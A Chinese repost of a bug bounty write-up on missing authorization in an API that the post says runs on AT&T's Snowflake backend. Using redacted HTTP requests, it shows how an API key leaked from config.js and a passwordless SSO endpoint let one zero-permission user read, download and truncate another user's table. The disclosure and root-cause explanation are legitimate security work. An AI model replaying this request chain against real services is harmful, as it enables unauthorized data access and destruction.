如何绕过 AT&T Snowflake 后端的数据表授权的
Tyrion404
Tyrion404
漏洞集萃
2026年9月29日 09:21
山东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途;如有侵权烦请告知,我们会立即删除并致歉,谢谢
在测试一个私有漏洞赏金计划时,我遇到了一个
作者: Tyrion404
原文链接: https://medium.com/@Tyrion404/zero-permissions-full-ddl-how-i-broke-table-authorization-in-at-ts-snowflake-backend-09ac349b88e1
背景设定
目标平台包含一个供应链规划与预测模块——这是一个与主门户并行运行的独立 API 服务。该模块提供了一个表管理接口:包括创建表、读取表结构、下载表记录、检查表是否存在以及截断表等操作的端点。所有这些操作均在后端的 Snowflake 生产数据库上执行。
该 API 正确地实施了身份验证。每个请求都需要一个有效的 JWT,且该令牌必须与 userId 请求体中提交的字段——若两者不匹配,则请求会被拒绝。这一部分运行正常。
缺失的是下一层:授权。该 API 从未询问过经过身份验证的用户是否被允许执行 DDL 操作,也从未询问过该用户是否拥有——或与——其正在操作的表存在任何关联。
仅进行身份验证而未进行授权,就像是一扇后面没有房间的大门。
演员表
两名用户。两个独立的账户。两者之间没有任何关联。两者均为权限为零的门户用户,既无提升的角色,也未被授予对任何[已删除]表的访问权限。
- 用户 A
— 表的创建者。使用其自身的 JWT 进行身份验证。
* 用户 B
—— 一个完全独立的账户。JWT 不同,用户 ID 不同,与用户 A 以及用户 A 创建的任何内容均无关联。
目标:让用户 B 对用户 A 的表执行操作——仅使用表名。
第一幕——进入
所有请求所需的 API 密钥均可从公开提供的前端配置文件中获取——无需登录:
GET /config.js HTTP/1.1
Host: [REDACTED]
HTTP/1.1200 OK
...VITE_JAVA_API_KEY: \"[REDACTED]\"...
随后通过 SSO 端点获取了两个 JWT——每个用户一个。该 SSO 端点接受请求正文中的用户名,并返回一个已签名的 JWT,无需密码或多因素认证。(该端点的“无需凭证”行为已另行报告并得到确认;此处仅将其用于建立两个经过身份验证的会话,以进行授权测试。)
Config.js
POST /api/home/ssoAuthentication HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
{\"username\":\"[USER_A]\"}
→ response data.accessToken = <TOKEN_A>
Press enter or click to view image in full size
用户 A 的 AccessToken
POST /api/home/ssoAuthentication HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
{\"username\":\"[USER_B]\"}
→ response data.accessToken = <TOKEN_B>
用户 B 的访问令牌
两个有效的会话。无提升权限的角色。无针对 REDACTED 的特定权限。除有效用户名外,其他先决条件均为零。
第二幕——用户 A 创建一个实时表格
用户 A 向 createTable 针对 REDACTED API 的请求。请求正文中指定了表名、所有者字段(用户 A 的用户名)、描述以及两列。
POST /REDACTED-api/REDACTED/createTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{
\"userId\": \"[USER_A_ID]\",
\"tableName\": \"[TEST_TABLE_NAME]\",
\"tableOwner\": \"[USER_A]\",
\"discription\": \"Security test - authorized bug bounty - please delete\",
\"tableColumns\": [
{\"column\": \"TEST_ID\", \"dataType\": \"STRING\", \"nullCheck\": \"NULL\"},
{\"column\": \"TEST_VALUE\", \"dataType\": \"STRING\", \"nullCheck\": \"NULL\"}
]
}
回复:
{\"statusCode\":200,\"statusMessage\":\"Success\"}
Press enter or click to view image in full size
创建表
通过以下方式确认表是否存在 checkDuplicateTable:
POST /REDACTED-api/REDACTED/checkDuplicateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{\"userId\": \"[USER_A_ID]\", \"tableName\": \"[TEST_TABLE_NAME]\"}
回复:
{\"data\":1,\"statusCode\":200,\"statusMessage\":\"Success\"}
Press enter or click to view image in full size
表是否存在
data: 0 表示该表不存在。 data: 1 表示该表存在。在 createTable 调用之前,每个被测试的名称都返回 data: 0。这证实后端在 Snowflake 数据库中执行了真实的 CREATE TABLE ——而不是缓存检查,也不是模拟响应。
随后通过以下方式检索了该模式: getTableData:
POST /REDACTED-api/REDACTED/getTableData HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{\"userId\": \"[USER_A_ID]\", \"tableName\": \"[TEST_TABLE_NAME]\"}
回复
{
\"data\":{
\"data\":[
{\"COLUMN_NAME\":\"RAW_ID\",\"DATA_TYPE\":\"NUMBER\"},
{\"COLUMN_NAME\":\"TEST_ID\",\"DATA_TYPE\":\"TEXT\"},
{\"COLUMN_NAME\":\"TEST_VALUE\",\"DATA_TYPE\":\"TEXT\"}
],
\"description\":\"Security test - authorized bug bounty - please delete\"
},
\"statusCode\":200,
\"statusMessage\":\"Success\"
}
该响应中包含一个 RAW_ID NUMBER 列,该列在原始请求中并不存在——是由后端自身的表创建逻辑自动添加的。这证实了该 API 执行了完整的 CREATE TABLE 语句,而不仅仅是验证输入并存储元数据。现在确实存在一个真实的 Snowflake 表,该表是由一个本不该创建数据库对象的、权限为零的用户创建的。
Press enter or click to view image in full size
getTableData
第三幕——用户 B 随心所欲
从这一刻起,所有操作均使用用户 B 的 JWT 和用户 ID。用户 B 与用户 A 没有任何关联,除了表名之外对该表一无所知,也没有任何提升的权限。
用户 B 读取用户 A 的表结构:
POST /REDACTED-api/REDACTED/getTableData HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{\"userId\": \"[USER_B_ID]\", \"tableName\": \"[TEST_TABLE_NAME]\"}
回复:
{
\"data\":{
\"data\":[
{\"COLUMN_NAME\":\"RAW_ID\",\"DATA_TYPE\":\"NUMBER\"},
{\"COLUMN_NAME\":\"TEST_ID\",\"DATA_TYPE\":\"TEXT\"},
{\"COLUMN_NAME\":\"TEST_VALUE\",\"DATA_TYPE\":\"TEXT\"}
],
\"description\":\"Security test - authorized bug bounty - please delete\"
},
\"statusCode\":200,
\"statusMessage\":\"Success\"
}
HTTP 200。完整模式。该 API 在未检查用户 B 与该数据是否存在任何关联的情况下,将用户 A 的表数据返回给了用户 B。
Press enter or click to view image in full size
用户 B
用户 B 确认该表存在:
POST /REDACTED-api/REDACTED/checkDuplicateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{\"userId\": \"[USER_B_ID]\", \"tableName\": \"[TEST_TABLE_NAME]\"}
回复:
{\"data\":1,\"statusCode\":200,\"statusMessage\":\"Success\"}
用户 B 下载所有记录:
POST /REDACTED-api/REDACTED/downloadTableRecord HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{\"tableName\": \"[TEST_TABLE_NAME]\", \"userId\": \"[USER_B_ID]\"}
回复:
{
\"data\": {
\"columns\": [\"RAW_ID\", \"TEST_ID\", \"TEST_VALUE\"],
\"rows\": [],
\"totalRecords\": 0
},
\"statusCode\": 200,
\"statusMessage\": \"Success\"
}
HTTP 200。完整列列表。记录下载已接受,该表按设计为空——未触及任何生产数据。
Press enter or click to view image in full size
下载所有记录
用户 B 截断了用户 A 的表:
POST /REDACTED-api/REDACTED/truncateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{\"userId\": \"[USER_B_ID]\", \"tableName\": \"[TEST_TABLE_NAME]\"}json
{\"statusCode\":200,\"statusMessage\":\"Success\"}
HTTP 200。 TRUNCATE TABLE ——这是一条会立即删除表中所有行的 DDL 语句——被后端接受并执行,而该表是由完全不同的用户创建并拥有的。该 API 从未检查过用户 B 是否拥有该表、是否被授予了访问权限,或者是否持有允许执行 DDL 操作的任何角色。它唯一检查的是 JWT 是否有效,并且与 userId 。
在第二个测试台上重复了该操作,结果相同。
Press enter or click to view image in full size
用户 B 截断了用户 A 的表
授权矩阵
在所有用户中测试的每项操作均顺利完成,未受任何限制。
测试中还观察到: deleteTableRecord, editTableRecord,且 bulkUploadIMEI 均成功进入后端处理阶段——返回的是应用层错误(409、500、400),而非授权拒绝。这些错误是由表为空的状态引起的,并非由任何访问控制闸门导致。除确认这些端点已到达应用层外,未对其进行进一步测试。
Press enter or click to view image in full size
授权矩阵
这个漏洞究竟是什么
该 API 将两种截然不同的安全属性混为一谈:
身份验证——验证 JWT 是否有效且属于声明中的用户。该功能已实现并可正常运行。
授权——验证经过身份验证的用户是否被允许对所请求的对象执行所请求的操作。对于该 /REDACTED/ 模块中,该功能完全未实现。
结果是:任何经过身份验证的门户用户——即使权限为零、没有 REDACTED 角色、与任何 REDACTED 表均无关联——都能创建 Snowflake 数据库对象,并对 API 能够解析的任何表名调用 DDL 操作。该 tableOwner 该字段在 createTable 请求中的该字段虽由调用者提供并被存储,但在其他调用者对同一张表执行操作时,该字段从未被查阅。这仅是元数据,而非强制机制。
风险更高的推论——虽未得到证实,但在结构上合乎情理——是:如果可通过同一 tableName 参数进行解析,且无额外限制,则该 truncateTable 该端点将接受针对已填充生产表的非所有者请求,并像此处一样返回 HTTP 200 状态码。该路径未经过测试;生产表并非攻击目标。研究人员创建的空表上的行为已足以证实该发现
成功的关键在于
在一个模块中漏了一个本应出现在两个位置的检查:
角色检查缺失:DDL 端点 — createTable, truncateTable ——任何经过身份验证的用户均可访问这些 DDL 端点,无论其是否持有任何与 REDACTED 相关的角色。一个未声明任何权限的标准门户用户本不该接触 Snowflake DDL。角色门槛根本不存在。
缺少所有权检查: 该 tableOwner 字段在创建时已被记录,但在后续请求到达时却从未被查询。该 API 验证了调用者的身份——它确认 JWT 与 userId。但它从未询问该 userId 是否与目标表存在任何关联。任何知道表名的调用者都能对该表进行操作。
身份验证用于确认你的身份,而授权则决定你被允许做什么。只有前者而没有后者,就像是一扇没有围墙保护的锁着的大门。
提利昂一直深知,真正的力量并不在于剑。而在于知道哪些门是建在没有墙的地方——并且是唯一一个愿意去查证的人。
觉得本文内容对您有启发或帮助?
点个关注➕,获取更多深度分析与前沿资讯!
👉 往期精选
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论